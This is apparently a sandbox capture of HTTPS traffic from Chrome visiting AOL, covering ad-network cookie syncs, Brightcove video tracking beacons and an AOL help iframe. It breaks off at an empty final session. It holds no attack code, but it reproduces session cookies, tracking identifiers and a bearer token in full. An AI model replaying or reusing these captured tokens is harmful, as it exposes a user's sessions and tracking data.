2024-05-23 22:35:19 UTC	1945	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Thu, 23 May 2024 22:35:19 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: d31b15e2-b3a4-42a5-8e67-7149007918a6 Set-Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:19 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M4/0EVNsVF']wIg2GU$idD1q!]td+8bhzs#DNB)PYwUrZegYA'NVRTJqeK^1%ykaE9sJwP?Jgr:n]_Dx#(e2MJ:gyO^y%p7h6ge'R8=J[VM=m^wzU>#Yi3nXm/!-)fT(LHj5; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:19 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 11-May-2034 22:35:19 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA4LTIxVDIyOjM1OjA5WiJ9LCJ0cmlwbGVsaWZ0X25hdGl2ZSI6eyJ1aWQiOiIzNDc2NDkwMTA4NjYzMzg1MTg1NDQwIiwiZXhwaXJlcyI6IjIwMjQtMDgtMjFUMjI6MzU6MTlaIn19LCJiaXJ0aGRheSI6IjIwMjQtMDUtMjNUMjI6MzU6MDlaIn0=; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:19 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uuid2=9165965397510453586; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:19 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 943.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com
2024-05-23 22:35:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.6	50665	185.89.210.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	1099	OUT	GET /prebid/setuid?bidder=triplelift&gdpr=0&gdpr_consent=&uid=3476490108663385185440 HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586; anj=dTM7k!M40DF7/.XF']wIg2GU$idD1q!]tbP6j2F-.aDyjByG0>mcD53/l.RZ>LZqlI`sLCzK3/=q*JR:4=sB!$x_+7tgUd; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA4LTIxVDIyOjM1OjA5WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA1LTIzVDIyOjM1OjA5WiJ9
2024-05-23 22:35:19 UTC	1937	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Thu, 23 May 2024 22:35:19 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 11de9ad9-e382-4106-a2a5-2a7858bb7311 Set-Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:19 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M4/0EVNsVF']wIg2GU$idD1q!]td+8bhzs#DNB)PYwUrZegYA'NVRTJqeK^1%ykaE9sJwP?Jgr:n][j?*we2MJ:gyO^y%p7h6ge'R8=J[VM=m^wzU>#Yi3nXm/!-@NJ.=5FE; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:19 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 11-May-2034 22:35:19 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA4LTIxVDIyOjM1OjA5WiJ9LCJ0cmlwbGVsaWZ0Ijp7InVpZCI6IjM0NzY0OTAxMDg2NjMzODUxODU0NDAiLCJleHBpcmVzIjoiMjAyNC0wOC0yMVQyMjozNToxOVoifX0sImJpcnRoZGF5IjoiMjAyNC0wNS0yM1QyMjozNTowOVoifQ==; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:19 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uuid2=9165965397510453586; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:19 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 943.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com
2024-05-23 22:35:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.6	50670	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	710	OUT	GET /xuid?mid=3335&xuid=9165965397510453586&dongle=4d58&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:35:19 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:19 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:19 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:19 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:19 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.6	50664	162.55.120.196	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	814	OUT	GET /sync/pub?sid=161&suid=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0NDQmdGw9MjAxNjA=&piggybackCookie=$UID HTTP/1.1 Host: matching.truffle.bid Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:19 UTC	150	IN	HTTP/1.1 204 No Content Server: nginx/1.23.3 Date: Thu, 23 May 2024 22:35:19 GMT Connection: close Strict-Transport-Security: max-age=15768000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.6	50668	34.255.48.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	665	OUT	GET /cookie-sync/trl?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AANRF07Mn4kAABWNJQroRw; bitoIsSecure=ok
2024-05-23 22:35:19 UTC	403	IN	HTTP/1.1 303 See Other Date: Thu, 23 May 2024 22:35:19 GMT location: https://eb2.3lift.com/xuid?mid=7255&xuid=AANRF07Mn4kAABWNJQroRw&dongle=bzwx&gdpr=0 Server: gunicorn set-cookie: bito=AANRF07Mn4kAABWNJQroRw; Domain=bidr.io; expires=Sun, 22 Jun 2025 18:35:19 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.6	50676	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	2621	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&time=1716503717094&event=video_view&video=6353510307112&video_name=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&reference_id=42b897a6-9771-3329-b351-69a701a77438&custom_fields=&video_data=&video_ads_supported=true&&video_duration=68&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4ND [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsibWV0cmljcy5icmlnaHRjb3ZlLmNvbSJdLCJhY2NpZCI6IjY0MTU2NjU4MTUwMDEiLCJwa2lkIjoiOTIxODQzMjAtOGZmMy00NWU5LWI2MDAtOTkwZjgyMmM4NjY3IiwiZXhwIjoxNzE2NTEwODk0LCJpYXQiOjE3MTY1MDM2OTR9.cM9CoLvUxYEDou9iEsPd67PAcBmwLFGGazEC7oRrHtB4JAroGTEN56G8syGZTNfr_TxrRzdL0iqIKq1IzgCOHEaY_fxNH-W_xC6im06afGd0KceE4_2ElpQSopaQTo9IeNp6498eyorowyjj_AxvvN-xfD9nui-AdbbC7qMe7VdyXR8aSUwY0k1gwY52Y88mZaZYqoso3ARezXNlyo5vcxdbwZgASwoomRHxtXEv-ykw2whgzsamwzHccEvC6NoolnPHQoTIjFU_dusRmS4nW3yFdZhmQZ0-QVkEZNzN4R6-lROmR-tpwkBTg0V3nI2usqZRHl5dt12q-4oK1KcyZQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:19 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:19 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:19 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.6	50673	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	1681	OUT	GET /offers/aolHelp/mobileazpage?cobrand=usaol HTTP/1.1 Host: membernotifications.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; __gads=ID=cf34bc004ab85396:T=1716503704:RT=1716503704:S=ALNI_MZnOB51wnrcEWjZprb6rvOJUgClmQ; __gpi=UID=00000e2999aacdfe:T=1716503704:RT=1716503704:S=ALNI_MY9O14HHs8YKl5kfvcdXBhk0EwHkQ; __eoi=ID=a6ae538b18abc9da:T=1716503704:RT=1716503704:S=AA-AfjYto1E7XPavVNBFXiwWpyxq; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:19 UTC	1047	IN	HTTP/1.1 200 Strict-transport-security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade content-security-policy: frame-ancestors https://help.aol.com Cache-control: no-cache, no-store, private, max-age=0 Content-Type: text/html;charset=UTF-8 Content-Length: 4489 Date: Thu, 23 May 2024 22:35:19 GMT Age: 0 Connection: close Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:19 GMT; Max-Age=0; Domain=membernotifications.aol.com; Path=; Secure; HttpOnly Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:19 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:19 GMT; Max-Age=0; Domain=membernotifications.aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:19 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly
2024-05-23 22:35:19 UTC	1300	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 74 69 74 6c 65 3e 4f 66 66 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 73 73 2f 61 6e 61 6c 79 74 69 63 73 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Offer</title><script src="https://s.yimg.com/ss/analytics3.js"></script><style>body {margin: 0;overflow: hi
2024-05-23 22:35:19 UTC	1300	IN	Data Raw: 27 20 7d 2c 20 27 2a 27 29 3b 20 72 65 74 75 72 6e 20 74 72 75 65 3b 22 0a 09 09 09 20 20 20 09 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 73 2f 6c 70 2f 74 65 63 68 2d 73 75 70 70 6f 72 74 2f 6c 69 76 65 2d 73 75 70 70 6f 72 74 2d 70 6c 75 73 2d 6c 61 73 74 70 61 73 73 3f 6e 63 69 64 3d 6d 62 72 5f 61 70 6c 61 63 71 61 64 30 30 30 30 30 30 32 32 22 0a 09 09 09 09 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 20 3c 69 6d 67 0a 09 09 09 09 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 61 2f 61 6f 6c 2f 61 6f 6c 48 65 6c 70 2f 61 6f 6c 6c 69 76 65 73 75 70 70 6f 72 74 70 6c 75 73 2f 61 6f 6c 6c 69 76 65 73 75 70 70 6f 72 74 70 6c 75 73 5f 33 32 30 78 35 30 2d 6c 63 61 2d Data Ascii: ' }, '*'); return true;" href="https://www.aol.com/products/lp/tech-support/live-support-plus-lastpass?ncid=mbr_aplacqad00000022"target="_blank"> <imgsrc="https://s.yimg.com/aa/aol/aolHelp/aollivesupportplus/aollivesupportplus_320x50-lca-
2024-05-23 22:35:19 UTC	1300	IN	Data Raw: 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 20 74 79 70 65 3a 20 27 72 65 73 69 7a 65 27 2c 20 63 6f 6e 74 65 78 74 4e 61 6d 65 3a 20 27 6d 6f 62 69 6c 65 61 7a 70 61 67 65 27 2c 20 70 61 79 6c 6f 61 64 3a 20 7b 20 68 65 69 67 68 74 3a 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 20 7d 20 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 69 66 20 28 6d 79 52 61 70 69 64 49 6e 73 74 61 6e 63 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 79 52 61 70 69 64 49 6e 73 74 61 6e 63 65 2e 72 65 65 76 61 6c 75 61 74 65 4d 6f 64 75 6c 65 73 56 69 65 77 61 62 69 Data Ascii: window.parent.postMessage({ type: 'resize', contextName: 'mobileazpage', payload: { height: document.body.scrollHeight } }, '*'); if (myRapidInstance) { setTimeout(function() { myRapidInstance.reevaluateModulesViewabi
2024-05-23 22:35:19 UTC	589	IN	Data Raw: 20 20 62 72 65 61 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 73 65 74 75 70 4d 65 73 73 61 67 69 6e 67 28 29 3b 0a 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 20 74 79 70 65 3a 20 27 6c 6f 61 64 27 2c 20 63 6f 6e 74 65 78 74 4e 61 6d 65 3a 20 27 6d 6f 62 69 6c 65 61 7a 70 61 67 65 27 2c 20 70 61 79 6c 6f 61 64 3a 20 7b 20 73 74 61 74 75 73 3a 20 27 32 30 30 27 2c 20 6d 65 73 73 61 67 65 3a 20 27 6c 6f 61 64 65 64 27 2c 20 68 65 69 67 68 74 3a 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 20 7d 20 7d 2c 20 27 2a 27 29 3b 0a 0a 20 20 20 20 20 20 76 61 72 20 6d 65 74 68 6f 64 4e 61 6d 65 20 3d 20 77 69 6e 64 6f 77 2e 61 64 64 45 Data Ascii: break; } } setupMessaging(); window.parent.postMessage({ type: 'load', contextName: 'mobileazpage', payload: { status: '200', message: 'loaded', height: document.body.scrollHeight } }, '*'); var methodName = window.addE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.6	50677	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	2075	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&ad_error=303&event=ad_error&video=6353510307112&video_name=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&reference_id=42b897a6-9771-3329-b351-69a701a77438&custom_fields=&video_data=&video_ads_supported=true&&video_duration=68&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04Zm [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:19 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:19 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:19 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.6	50674	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
